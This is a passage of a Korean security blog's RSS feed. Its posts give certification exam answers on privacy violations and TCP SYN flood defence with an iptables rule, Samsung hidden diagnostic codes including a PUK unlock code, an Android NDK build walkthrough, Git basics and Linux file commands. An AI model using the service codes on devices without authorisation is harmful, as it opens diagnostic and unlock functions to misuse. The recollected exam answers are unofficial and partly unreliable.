none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 569px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996E0D335A1C26C51F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996E0D335A1C26C51F&quot; width=&quot;569&quot; height=&quot;737&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1-1) 위반사항 : &lt;b&gt;개인의 질병(건강)과 같은 민간정보의 수집&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1-2) 개선방안 : &lt;b&gt;개인의 민감정보는 원칙적으로 수집을 금지하고 있으며 이를 처리하기 위해서는 다른 개인정보의 처리와 분리하여 정보주체의 별도 동의를 구한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2-1) 위반사항 : &lt;b&gt;법정 대리인의 동의 없이 만 14세 미만의 아동의 개인정보 수집&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2-2) 개선방안 : &lt;b&gt;만 14세 미만 아동의 개인정보 수집 시에는 법정대리인의 동의를 구한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;16. 다음 패킷을 보고 아래 질문에 답하시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 873px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B456335A1C2BC034&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B456335A1C2BC034&quot; width=&quot;873&quot; height=&quot;311&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;(Source는 다양한 곳에서 하나의 Destination으로 전송됨)&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;16-1. 해당 공격의 이름은 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;TCP Syn Flooding 공격&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;16-2.&amp;nbsp;해당 공격을 받은 서버에서 발생할 수 있는 상황은 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;서버의 연결자원(연결요청대기큐(Backlog Queue))이 모두 소진되어 외부로부터의 추가 연결 요청을 받을 수 없는 상태, 즉 서비스 거부 상태가 된다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;16-3.&amp;nbsp;iptables 명령어를 이용하여 동일한 포트로 초당 10개 미만까지의 패킷을 기록하고 나머지는 버리도록 완성하시오.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;iptables -A INPUT -p tcp ( A ) --syn -m limit ( B ) ( C ) DROP&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;A : &lt;b&gt;--dport 80&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;B : &lt;b&gt;--limit 10/s&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;C : &lt;b&gt;-j&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/316</guid>
      <comments>https://do9dark.tistory.com/316#entry316comment</comments>
      <pubDate>Tue, 28 Nov 2017 00:17:02 +0900</pubDate>
    </item>
    <item>
      <title>Android Hidden Menu</title>
      <link>https://do9dark.tistory.com/310</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Samsung Galaxy S8+ (SM-G955F, Android 7.0 Nougat)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;General Test Mode: *#0*#&lt;/p&gt;&lt;p&gt;Quick Test Menu: *#7353#&lt;/p&gt;&lt;p&gt;Version(AP/CP/CSC/Model): *#1234#&lt;/p&gt;&lt;p&gt;Main Version(AP/CP/CSC/RF Cal/HW Rev): *#12580*369#&lt;/p&gt;&lt;p&gt;FTA Software&amp;nbsp;Version: *#1111#&lt;/p&gt;&lt;p&gt;FTA Hardware Veersion: *#2222#&lt;/p&gt;&lt;p&gt;Displays IMEI(MEID) and S/N: *#06#&lt;/p&gt;&lt;p&gt;TSP/TSK Firmware Version(Touch screen version): *#2663#&lt;/p&gt;&lt;p&gt;Camera Firmware Version: *#34971539#&lt;/p&gt;&lt;p&gt;Battery Status: *#0228#&lt;/p&gt;&lt;p&gt;OTA Update Menu: *#8736364#&lt;/p&gt;&lt;p&gt;USB Settings: *#0808#&lt;/p&gt;&lt;p&gt;Dignostic Configuration: *#9090#&lt;/p&gt;&lt;p&gt;Audio Loopback Control: *#0283#&lt;/p&gt;&lt;p&gt;RIL Dump Menu: *#745#&lt;/p&gt;&lt;p&gt;System Dump Menu: *#9900#&lt;/p&gt;&lt;p&gt;Execute from Emergency dail screen to unlock PUK code: **05***#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Samsung Galaxy Note 8 (SM-N950U, Android 7.1.1&amp;nbsp;Nougat)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;General Test Mode: *#0*#&lt;/p&gt;&lt;p&gt;Quick Test Menu: *#7353#&lt;/p&gt;&lt;p&gt;Version(AP/CP/CSC/Model): *#1234#&lt;/p&gt;&lt;p&gt;FTA Software&amp;nbsp;Version: *#1111#&lt;/p&gt;&lt;p&gt;FTA Hardware Veersion: *#2222#&lt;/p&gt;&lt;p&gt;Displays IMEI(MEID) and S/N: *#06#&lt;/p&gt;&lt;p&gt;TSP/TSK Firmware Version(Touch screen version): *#2663#&lt;/p&gt;&lt;p&gt;Camera Firmware Version: *#34971539#&lt;/p&gt;&lt;p&gt;Battery Status: *#0228#&lt;/p&gt;&lt;p&gt;OTA Update Menu: *#8736364#&lt;/p&gt;&lt;p&gt;USB Settings: *#0808#&lt;/p&gt;&lt;p&gt;Dignostic Configuration: *#9090#&lt;/p&gt;&lt;p&gt;Audio Loopback Control: *#0283#&lt;/p&gt;&lt;p&gt;RIL Dump Menu: *#745#&lt;/p&gt;&lt;p&gt;System Dump Menu: *#9900#&lt;/p&gt;&lt;p&gt;Execute from Emergency dail screen to unlock PUK code: **05***#&lt;/p&gt;</description>
      <category>Mobile/Android</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/310</guid>
      <comments>https://do9dark.tistory.com/310#entry310comment</comments>
      <pubDate>Sun, 12 Nov 2017 00:54:31 +0900</pubDate>
    </item>
    <item>
      <title>readelf 명령어</title>
      <link>https://do9dark.tistory.com/309</link>
      <description>&lt;p&gt;ELF 파일에 대한 정보를 보여주는 명령어&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/309</guid>
      <comments>https://do9dark.tistory.com/309#entry309comment</comments>
      <pubDate>Tue, 22 Aug 2017 15:12:20 +0900</pubDate>
    </item>
    <item>
      <title>Android NDK를 이용한 소스코드 크로스 컴파일</title>
      <link>https://do9dark.tistory.com/308</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;NDK(Native Development Kit)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;C/C++ 같은 네이티브 코드 언어를 안드로이드에서 사용할 수 있게 도와주는 도구 모음&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;JNI(Java Native Interface)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Java가 C/C++ 같은 네이티브 코드 언어로 작성된 어플리케이션과 상호 작용할 수 있는 인터페이스&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;더 자세한 내용은 Android NDK Guides(https://developer.android.com/ndk/guides/)를 참고하시면 됩니다.&lt;/p&gt;&lt;p&gt;아래에 빌드와 관련된 내용도 위 가이드에 포함되어 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;0. 목표&lt;/b&gt;&lt;/p&gt;&lt;p&gt;리눅스에서 C 언어로 작성된 프로그램을 안드로이드에서 실행&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Android NDK 다운로드&lt;/b&gt;&lt;/p&gt;&lt;p&gt;https://developer.android.com/ndk/ 에 접근하여 NDK 다운로드&lt;/p&gt;&lt;p&gt;Linux 64비트 (x86): android-ndk-r14b-linux-x86_64.zip&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. jni 디렉터리 생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;압축 풀고 android-ndk-r14b 디렉터리로 이동하여 jni 디렉터리 생성&lt;/p&gt;&lt;p&gt;$ unzip android-ndk-r14b-linux-x86_64.zip&lt;/p&gt;&lt;p&gt;$ cd android-ndk-r14b&lt;/p&gt;&lt;p&gt;$ mkdir jni&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. 소스코드 파일&amp;nbsp;생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;간단한 hello, world 문자열을 출력하는 C 코드 파일 생성&lt;/p&gt;&lt;p&gt;$ cat &amp;gt; hello.c&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;int main() {&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;printf(&quot;hello, world\n&quot;);&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;return 0;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Android.mk 파일 생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;$ cat &amp;gt; Android.mk&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# 빌드가 작업되는 위치를 지정&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# $(call my-dir): 현재 위치를 반환&lt;/span&gt;&lt;/p&gt;&lt;p&gt;LOCAL_PATH := $(call my-dir)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# $(CLEAR_VARS): LOCAL_PATH를 제외한 LOCAL_MODULE, LOCAL_SRC_FILES와 같은 수많은 LOCAL_XXX 변수를 초기화&lt;/span&gt;&lt;/p&gt;&lt;p&gt;include $(CLEAR_VARS)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# C/C++ 소스코드 빌드할 때 사용할 옵션&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# -pie -fPIE: PIE(Position Independant Executable) 옵션, -fPIE(compiler option), -pie(linker option)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;LOCAL_CFLAGS += -fPIE -pie&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# 파일명 지정&lt;/span&gt;&lt;/p&gt;&lt;p&gt;LOCAL_MODULE := hello&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# 소스코드 파일 지정&lt;/span&gt;&lt;/p&gt;&lt;p&gt;LOCAL_SRC_FILES := hello.c&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# 실행 가능한 바이너리 생성&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;# 라이브러리 생성 시에는 BUILD_SHARED_LIBRARY, BUILD_STATIC_LIBRARY 등을 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;include $(BUILD_EXECUTABLE)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. ndk-build로 빌드&lt;/b&gt;&lt;/p&gt;&lt;p&gt;상위 디렉터리로 이동 후 ndk-build 바이너리를 이용해서 빌드&lt;/p&gt;&lt;p&gt;$ cd ..&lt;/p&gt;&lt;p&gt;$ ./ndk-build&lt;/p&gt;&lt;p&gt;APP_ABI를 이용하여 특정 아키텍처만 빌드하도록 설정 가능&lt;/p&gt;&lt;p&gt;$ ./ndk-build APP_ABI=arm64-v8a&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;6. 바이너리 실행&lt;/b&gt;&lt;/p&gt;&lt;p&gt;빌드가 완료되면 libs 디렉터리에 아키텍처 별로 바이너리가 생성&lt;/p&gt;&lt;p&gt;(특정 아키텍처를 지정한 경우 해당 아키텍처만 생성)&lt;/p&gt;&lt;p&gt;$ adb push libs/arm64-v8a/hello /data/local/tmp/hello&lt;/p&gt;&lt;p&gt;$ adb shell ./data/local/tmp/hello&lt;/p&gt;&lt;p&gt;hello, world&lt;/p&gt;</description>
      <category>Mobile/Android</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/308</guid>
      <comments>https://do9dark.tistory.com/308#entry308comment</comments>
      <pubDate>Tue, 22 Aug 2017 10:55:58 +0900</pubDate>
    </item>
    <item>
      <title>Git 기본 개념</title>
      <link>https://do9dark.tistory.com/307</link>
      <description>&lt;p&gt;&lt;b&gt;세 가지 상태&lt;/b&gt;&lt;/p&gt;&lt;p&gt;- Committed&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;데이터가 로컬 데이터베이스에 저장된 상태&lt;/p&gt;&lt;p&gt;- Modified&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;수정한 데이터가&amp;nbsp;로컬 데이터베이스에 저장되지 않은 상태&lt;/p&gt;&lt;p&gt;- Staged&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;수정한 데이터를&amp;nbsp;커밋하기 위해 Staging Area에 추가한 상태&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;세 가지 단계&lt;/b&gt;&lt;/p&gt;&lt;p&gt;- .git Directory&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Git이 프로젝트의 메타데이터와 객체 데이터베이스(로컬 데이터베이스)를 저장한 디렉터리&lt;/p&gt;&lt;p&gt;- Working Directory&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;.git 디렉터리에서 checkout해서 정보를 가져온 디렉터리&lt;/p&gt;&lt;p&gt;- Staging Area&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;.git 디렉터리 내에&amp;nbsp;Staged 상태인 데이터들에 대한 정보를 가지고 있는 파일&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/307</guid>
      <comments>https://do9dark.tistory.com/307#entry307comment</comments>
      <pubDate>Fri, 18 Aug 2017 10:34:59 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] 프로세스 기본</title>
      <link>https://do9dark.tistory.com/306</link>
      <description>&lt;p&gt;1. 프로세스 기본&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/306</guid>
      <comments>https://do9dark.tistory.com/306#entry306comment</comments>
      <pubDate>Wed, 17 May 2017 01:27:41 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] 파일시스템 응용</title>
      <link>https://do9dark.tistory.com/305</link>
      <description>&lt;p&gt;1. 링크(Link) 파일&lt;/p&gt;&lt;p&gt;기존 파일에 대한 또 다른 접근 포인트를 만들어주는 기능&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하드 링크(Hard link)&lt;/p&gt;&lt;p&gt;$ ln source_file target_file&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;원본 파일과 동일한 i-node number를 가지는 파일을 생성&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;i-node number는 파일시스템별로 고유한 값이기 때문에 동일 파일시스템 내에서만 하드 링크가 가능(디렉터리는 불가능)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;하드 링크 파일을 생성하면 해당 i-node의 링크 카운트(Link count)가 1 증가, 삭제하면 1 감소&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;i-node의 링크 카운트 값이 0이 되면 해당 파일의 i-node 정보 및 데이터 삭제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;심볼릭 링크(Symbolic link)&lt;/p&gt;&lt;p&gt;$ ln -s source_file target_file&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;원본 파일에 대한 파일 경로를 파일 내용으로 하는 파일을 생성&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;하드 링크와 달리 i-node number가 아닌 파일 경로를 기반으로 되어 파일시스템에 제한이 없으며 디렉터리도 가능&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;원본 파일이 삭제되거나 이동하게 되면 해당 경로가 변경되므로 심볼릭 링크 파일은 링크가 끊어짐&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 파일의 종류&lt;/p&gt;&lt;p&gt;일반 파일(Regular file): 데이터 또는 프로그램 코드에 해당하는 일련의 바이트 스트림으로 되어 있음&lt;/p&gt;&lt;p&gt;디렉터리(Directory): 디렉터리에 포함된 파일명과 해당 파일에 대한 정보를 담고 있는 i-node number 목록을 내용으로 가지고 있는 특수한 파일&lt;/p&gt;&lt;p&gt;특수 파일(Special file): 기능에 따라 다양한 형태로 존재&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;프로세스 간 통신(IPC, Inter Process Communication)을 위해 파이프(Pipe), 소켓(Socket) 등의 파일을 사용&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;디스크, 프린터, 터미널, 키보드 등의 주변장치를 사용하기 위한 장치 파일(Device file)로 블럭 단위로 입출력하는 장치 파일(버퍼링)과 문자(Character) 단위로 입출력하는 문자 장치 파일(비 버퍼링)로 구분&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;d: 디렉터리&lt;/p&gt;&lt;p&gt;b: 블럭(Block) 장치 파일&lt;/p&gt;&lt;p&gt;c: 문자(Character) 장치 파일&lt;/p&gt;&lt;p&gt;l: 심볼릭 링크 파일&lt;/p&gt;&lt;p&gt;p: 네임드 파이프(Named pipe)&lt;/p&gt;&lt;p&gt;s: 유닉스 도메인 소켓(Socket)&lt;/p&gt;&lt;p&gt;-: 일반 파일&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. ls 명령어(list)&lt;/p&gt;&lt;p&gt;특정 디렉터리에 있는 디렉터리와 파일 목록을 보여줌&lt;/p&gt;&lt;p&gt;$ ls [-ailFR] [file_name | directory_name]&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-a: 디렉터리 내에 있는 숨김 파일을 표시&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-i: 파일 및 디렉터리에 지정된 i-node number 값 표시&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-l: 목록 형태로 디렉터리 및 파일의 정보를 자세히 표시&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-F: 디렉터리(/), 실행파일(*), 심볼릭링크(@)의 종류를 표시&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-R: 하위 디렉터리 내용 표시&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;접근 권한&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;r(4): 파일에 대한 읽기 권한, 디렉터리 내에 있는 파일명을 읽을 수 있는 권한&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;w(2): 파일에 대한 쓰기 권한, 디렉터리 내에 파일을 생성하거나 삭제할 수 있는 권한&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;x(1): 파일에 대한 실행 권한, 디렉터리 내에서 탐색을 위해 이동할 수 있는 권한&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. cd 명령어(Change Directory)&lt;/p&gt;&lt;p&gt;파일시스템 내의 특정 디렉터리로 이동&lt;/p&gt;&lt;p&gt;$ cd [directory_name]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. mkdir 명령어(Make Directory)&lt;/p&gt;&lt;p&gt;새로운 디렉터리를 생성&lt;/p&gt;&lt;p&gt;$ mkdir [-m mode] [-p] directory_name&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-m: 새로 성성할 디렉터리의 접근권한을 명시적으로 선언&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-p: 계층적인 구조를 갖는 디렉터리를 한번에 생성&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. rmdir 명령어(Remove Directory)&lt;/p&gt;&lt;p&gt;디렉터리 삭제&lt;/p&gt;&lt;p&gt;$ rmdir [-p] directory_name&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-p: 계층적인 구조를 갖는 디렉터리를 한꺼번에 삭제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. chmod 명령어&lt;/p&gt;&lt;p&gt;파일 및 디렉터리에 대한 접근권한을 변경&lt;/p&gt;&lt;p&gt;$ chmod [-R] permission file_name | directory_name&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-R: 하위 디렉터리와 파일의 접근권한도 변경&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;permission: 기호나 8진수로 접근권한을 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;대상: u(user), g(group), o(other), a(all)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;연산자: +(추가), -(제거), =(지정)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;접근권한: r(읽기), w(쓰기), x(실행)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. chown/chgrp 명령어&lt;/p&gt;&lt;p&gt;파일 및 디렉터리에 대한 소유주, 소유그룹을 변경&lt;/p&gt;&lt;p&gt;$ chown [-hR] owner file_name | directory_name&lt;/p&gt;&lt;p&gt;$ chgrp [-hR] group file_name | directory_name&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-h: 심볼릭 링크 파일 자체의 소유주나 그룹을 변경&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-R: 하위 디렉터리와 파일의 소유주나 그룹을 변경&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. umask 명령어&lt;/p&gt;&lt;p&gt;파일 및 디렉터리 생성 시 초기 접근권한을 명시&lt;/p&gt;&lt;p&gt;일반 파일을 생성할 경우 666에서 umask로 지정한 값을 빼고 디렉터리를 생성할 경우 777에서 umask로 지정한 값을 빼서 접근권한을 설정&lt;/p&gt;&lt;p&gt;/etc/profile 파일에 umask를 지정하여 시스템 전체 사용자에게 umask 값을 적용 가능&lt;/p&gt;&lt;p&gt;$ umask [mask]&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;mask: 파일이나 디렉터리의 접근권한으로 뺄 값을 명시&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. find 명령어&lt;/p&gt;&lt;p&gt;시스템 내에 있는 파일 중에서 사용자가 지정한 파일을 찾을 때 사용&lt;/p&gt;&lt;p&gt;$ find path [expression] [action]&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-name file_name: 파일명을 지정([], ?, *의 메타 문자 사용 가능)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-type file_type: 파일 종류를 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-user user_name: 소유자명 또는 UID를 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-group group_name: 소유그룹명 또는 GID를 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-perm [+-]mode: 파일의 접근권한을 지정(8진수로 명시)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+-가 없을&amp;nbsp;경우 mode 권한과 정확히 일치하는 파일&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+가 있을 경우 mode 권한을 부분적으로 포함하는 파일&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;-가 있을&amp;nbsp;경우 mode 권한을 최소한 모두 포함하는 파일&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-size [+-]num[단위]: 파일의 크기를 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+-가 없을 경우 정확히 n, +n은 초과, -n은 미만&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;size의 단위는 b:blocks(Default), c:bytes k:kilobytes, M:megaytes, G:gigabytes&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-atime [+-]n: 파일을 마지막으로 접근한 시간(access time)을 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+-가 없을 경우 정확히 n, +n은 초과, -n은 미만&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-ctime [+-]n: 파일의 속성이 마지막으로 변경된 시간(change time)을 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+-가 없을 경우 정확히 n, +n은 초과, -n은 미만&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-mtime [+-]n: 파일의 내용이 마지막으로 변경된 시간(modification time)을 지정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;+-가 없을 경우 정확히 n, +n은 초과, -n은 미만&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;-exec command {} \;: 검색 결과 파일에 대한 추가적인 명령을 실행&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;{}: 검색 결과 파일 내용이 입력되는 부분&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;\;: 명령어의 끝을 의미&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;검색 조건이 둘 이상일 경우 -o(or), -a(and/default)의 논리 연산 및 ()를 추가하여 우선순위를 지정&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/305</guid>
      <comments>https://do9dark.tistory.com/305#entry305comment</comments>
      <pubDate>Wed, 17 May 2017 01:25:31 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 보안] 파일시스템 기본</title>
      <link>https://do9dark.tistory.com/304</link>
